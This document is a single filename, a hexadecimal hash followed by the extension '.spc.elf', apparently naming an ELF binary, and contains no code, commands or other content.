db0fa4b8db0333367e9bda3ab68b8042.spc.elf